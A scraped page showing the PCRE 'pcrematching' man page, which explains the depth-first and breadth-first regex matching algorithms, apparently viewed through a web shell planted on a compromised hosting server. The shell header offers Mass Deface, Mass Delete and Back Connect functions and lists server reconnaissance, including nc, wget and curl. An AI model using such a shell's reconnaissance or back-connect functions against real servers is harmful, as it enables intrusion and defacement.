SEC [ hashtagclo.com ]

Linux server144.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64

LiteSpeed

162.213.255.29 | Your IP: 216.73.216.124

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ opt / alt / pcre802 / usr / share / doc / alt-pcre802-devel / html /

Home Upload Mass Deface Mass Delete Back Connect Info Server

Server Info

Operating System	:	Linux server144.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User / Group	:	1107[hashizkx] / 1104[hashizkx]
PHP Version	:	8.1.33
IP Server	:	162.213.255.29
Your IP	:	216.73.216.124
Storage	:	Total = 69.29 GB, Free = 51.55 GB [74%]
Domains	:	Cant read [ /etc/named.conf ]
Software	:	LiteSpeed
Disable Functions	:	All function is accessible
Useful Functions	:	gcc, lcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip, bzialfa2, nc, locate, suidperl, git, docker, ssh
Downloader	:	wget, fetch, lynx, links, curl, get, lwp-mirror
CURL : ON \| SSH2 : OFF \| Magic Quotes : OFF \| MySQL : ON \| MSSQL : OFF \| PostgreSQL : ON \| Oracle : OFF
Safe Mode : OFF \| Open Basedir : NONE \| Safe Mode Exec Dir : NONE \| Safe Mode Include Dir : NONE

pcrematching.html

<html>
<head>
<title>pcrematching specification</title>
</head>
<body bgcolor="#FFFFFF" text="#00005A" link="#0066FF" alink="#3399FF" vlink="#2222BB">
<h1>pcrematching man page</h1>

Return to the <a href="index.html">PCRE index page</a>.


This page is part of the PCRE HTML documentation. It was generated automatically
from the original man page. If there is any nonsense in it, please consult the
man page, in case the conversion went wrong.
 
<ul>
<li><a name="TOC1" href="#SEC1">PCRE MATCHING ALGORITHMS</a>
<li><a name="TOC2" href="#SEC2">REGULAR EXPRESSIONS AS TREES</a>
<li><a name="TOC3" href="#SEC3">THE STANDARD MATCHING ALGORITHM</a>
<li><a name="TOC4" href="#SEC4">THE ALTERNATIVE MATCHING ALGORITHM</a>
<li><a name="TOC5" href="#SEC5">ADVANTAGES OF THE ALTERNATIVE ALGORITHM</a>
<li><a name="TOC6" href="#SEC6">DISADVANTAGES OF THE ALTERNATIVE ALGORITHM</a>
<li><a name="TOC7" href="#SEC7">AUTHOR</a>
<li><a name="TOC8" href="#SEC8">REVISION</a>
</ul>
 <a name="SEC1" href="#TOC1">PCRE MATCHING ALGORITHMS</a> 

This document describes the two different algorithms that are available in PCRE
for matching a compiled regular expression against a given subject string. The
"standard" algorithm is the one provided by the pcre_exec() function.
This works in the same was as Perl's matching function, and provides a
Perl-compatible matching operation.


An alternative algorithm is provided by the pcre_dfa_exec() function;
this operates in a different way, and is not Perl-compatible. It has advantages
and disadvantages compared with the standard algorithm, and these are described
below.


When there is only one possible way in which a given subject string can match a
pattern, the two algorithms give the same answer. A difference arises, however,
when there are multiple possibilities. For example, if the pattern
<pre>
 ^&#60;.*&#62;
</pre>
is matched against the string
<pre>
 &#60;something&#62; &#60;something else&#62; &#60;something further&#62;
</pre>
there are three possible answers. The standard algorithm finds only one of
them, whereas the alternative algorithm finds all three.

 <a name="SEC2" href="#TOC1">REGULAR EXPRESSIONS AS TREES</a> 

The set of strings that are matched by a regular expression can be represented
as a tree structure. An unlimited repetition in the pattern makes the tree of
infinite size, but it is still a tree. Matching the pattern to a given subject
string (from a given starting point) can be thought of as a search of the tree.
There are two ways to search a tree: depth-first and breadth-first, and these
correspond to the two matching algorithms provided by PCRE.

 <a name="SEC3" href="#TOC1">THE STANDARD MATCHING ALGORITHM</a> 

In the terminology of Jeffrey Friedl's book "Mastering Regular
Expressions", the standard algorithm is an "NFA algorithm". It conducts a
depth-first search of the pattern tree. That is, it proceeds along a single
path through the tree, checking that the subject matches what is required. When
there is a mismatch, the algorithm tries any alternatives at the current point,
and if they all fail, it backs up to the previous branch point in the tree, and
tries the next alternative branch at that level. This often involves backing up
(moving to the left) in the subject string as well. The order in which
repetition branches are tried is controlled by the greedy or ungreedy nature of
the quantifier.


If a leaf node is reached, a matching string has been found, and at that point
the algorithm stops. Thus, if there is more than one possible match, this
algorithm returns the first one that it finds. Whether this is the shortest,
the longest, or some intermediate length depends on the way the greedy and
ungreedy repetition quantifiers are specified in the pattern.


Because it ends up with a single path through the tree, it is relatively
straightforward for this algorithm to keep track of the substrings that are
matched by portions of the pattern in parentheses. This provides support for
capturing parentheses and back references.

 <a name="SEC4" href="#TOC1">THE ALTERNATIVE MATCHING ALGORITHM</a> 

This algorithm conducts a breadth-first search of the tree. Starting from the
first matching point in the subject, it scans the subject string from left to
right, once, character by character, and as it does this, it remembers all the
paths through the tree that represent valid matches. In Friedl's terminology,
this is a kind of "DFA algorithm", though it is not implemented as a
traditional finite state machine (it keeps multiple states active
simultaneously).


Although the general principle of this matching algorithm is that it scans the
subject string only once, without backtracking, there is one exception: when a
lookaround assertion is encountered, the characters following or preceding the
current point have to be independently inspected.


The scan continues until either the end of the subject is reached, or there are
no more unterminated paths. At this point, terminated paths represent the
different matching possibilities (if there are none, the match has failed).
Thus, if there is more than one possible match, this algorithm finds all of
them, and in particular, it finds the longest. There is an option to stop the
algorithm after the first match (which is necessarily the shortest) is found.


Note that all the matches that are found start at the same point in the
subject. If the pattern
<pre>
 cat(er(pillar)?)
</pre>
is matched against the string "the caterpillar catchment", the result will be
the three strings "cat", "cater", and "caterpillar" that start at the fourth
character of the subject. The algorithm does not automatically move on to find
matches that start at later positions.


There are a number of features of PCRE regular expressions that are not
supported by the alternative matching algorithm. They are as follows:


1. Because the algorithm finds all possible matches, the greedy or ungreedy
nature of repetition quantifiers is not relevant. Greedy and ungreedy
quantifiers are treated in exactly the same way. However, possessive
quantifiers can make a difference when what follows could also match what is
quantified, for example in a pattern like this:
<pre>
 ^a++\w!
</pre>
This pattern matches "aaab!" but not "aaa!", which would be matched by a
non-possessive quantifier. Similarly, if an atomic group is present, it is
matched as if it were a standalone pattern at the current point, and the
longest match is then "locked in" for the rest of the overall pattern.


2. When dealing with multiple paths through the tree simultaneously, it is not
straightforward to keep track of captured substrings for the different matching
possibilities, and PCRE's implementation of this algorithm does not attempt to
do this. This means that no captured substrings are available.


3. Because no substrings are captured, back references within the pattern are
not supported, and cause errors if encountered.


4. For the same reason, conditional expressions that use a backreference as the
condition or test for a specific group recursion are not supported.


5. Because many paths through the tree may be active, the \K escape sequence,
which resets the start of the match when encountered (but may be on some paths
and not on others), is not supported. It causes an error if encountered.


6. Callouts are supported, but the value of the capture_top field is
always 1, and the value of the capture_last field is always -1.


7. The \C escape sequence, which (in the standard algorithm) matches a single
byte, even in UTF-8 mode, is not supported because the alternative algorithm
moves through the subject string one character at a time, for all active paths
through the tree.


8. Except for (*FAIL), the backtracking control verbs such as (*PRUNE) are not
supported. (*FAIL) is supported, and behaves like a failing negative assertion.

 <a name="SEC5" href="#TOC1">ADVANTAGES OF THE ALTERNATIVE ALGORITHM</a> 

Using the alternative matching algorithm provides the following advantages:


1. All possible matches (at a single point in the subject) are automatically
found, and in particular, the longest match is found. To find more than one
match using the standard algorithm, you have to do kludgy things with
callouts.


2. Because the alternative algorithm scans the subject string just once, and
never needs to backtrack, it is possible to pass very long subject strings to
the matching function in several pieces, checking for partial matching each
time. The
<a href="pcrepartial.html">pcrepartial</a>
documentation gives details of partial matching.

 <a name="SEC6" href="#TOC1">DISADVANTAGES OF THE ALTERNATIVE ALGORITHM</a> 

The alternative algorithm suffers from a number of disadvantages:


1. It is substantially slower than the standard algorithm. This is partly
because it has to search for all possible matches, but is also because it is
less susceptible to optimization.


2. Capturing parentheses and back references are not supported.


3. Although atomic groups are supported, their use does not provide the
performance advantage that it does for the standard algorithm.

 <a name="SEC7" href="#TOC1">AUTHOR</a> 

Philip Hazel
 
University Computing Service
 
Cambridge CB2 3QH, England.
 

 <a name="SEC8" href="#TOC1">REVISION</a> 

Last updated: 29 September 2009
 
Copyright &copy; 1997-2009 University of Cambridge.
 

Return to the <a href="index.html">PCRE index page</a>.

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	drwxr-xr-x	2024-03-03 08:39:03
..	dir	-	root/root	drwxr-xr-x	2024-03-03 08:39:03
index.html	text/html	5.54 KB	root/root	-rw-r--r--	2010-03-19 10:23:35
pcre-config.html	text/html	2.77 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre.html	text/html	13.59 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_compile.html	text/html	3.45 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_compile2.html	text/html	3.54 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_config.html	text/html	2.51 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_copy_named_substring.html	text/html	1.75 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_copy_substring.html	text/html	1.62 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_dfa_exec.html	text/html	4.45 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_exec.html	text/html	3.77 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_free_substring.html	text/html	1.09 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_free_substring_list.html	text/html	1.1 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_fullinfo.html	text/html	2.73 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_get_named_substring.html	text/html	1.88 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_get_stringnumber.html	text/html	1.5 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_get_stringtable_entries.html	text/html	1.66 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_get_substring.html	text/html	1.77 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_get_substring_list.html	text/html	1.8 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_info.html	text/html	1021 B	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_maketables.html	text/html	1.23 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_refcount.html	text/html	1.26 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_study.html	text/html	1.64 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcre_version.html	text/html	1001 B	root/root	-rw-r--r--	2010-03-19 10:23:34
pcreapi.html	text/html	92.56 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcrebuild.html	text/html	14.95 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcrecallout.html	text/html	8.63 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcrecompat.html	text/html	7.37 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcrecpp.html	text/html	13.96 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcredemo.html	text/x-c	12.96 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcregrep.html	text/html	25.85 KB	root/root	-rw-r--r--	2010-03-19 10:23:34
pcrematching.html	text/html	9.55 KB	root/root	-rw-r--r--	2010-03-19 10:23:35
pcrepartial.html	text/html	17.7 KB	root/root	-rw-r--r--	2010-03-19 10:23:35
pcrepattern.html	text/html	101.27 KB	root/root	-rw-r--r--	2010-03-19 10:23:35
pcreperform.html	text/html	7.11 KB	root/root	-rw-r--r--	2010-03-19 10:23:35
pcreposix.html	text/html	11.51 KB	root/root	-rw-r--r--	2010-03-19 10:23:35
pcreprecompile.html	text/html	6.43 KB	root/root	-rw-r--r--	2010-03-19 10:23:35
pcresample.html	text/html	3.28 KB	root/root	-rw-r--r--	2010-03-19 10:23:35
pcrestack.html	text/html	7.53 KB	root/root	-rw-r--r--	2010-03-19 10:23:35
pcresyntax.html	text/html	13.65 KB	root/root	-rw-r--r--	2010-03-19 10:23:35
pcretest.html	text/html	30.31 KB	root/root	-rw-r--r--	2010-03-19 10:23:34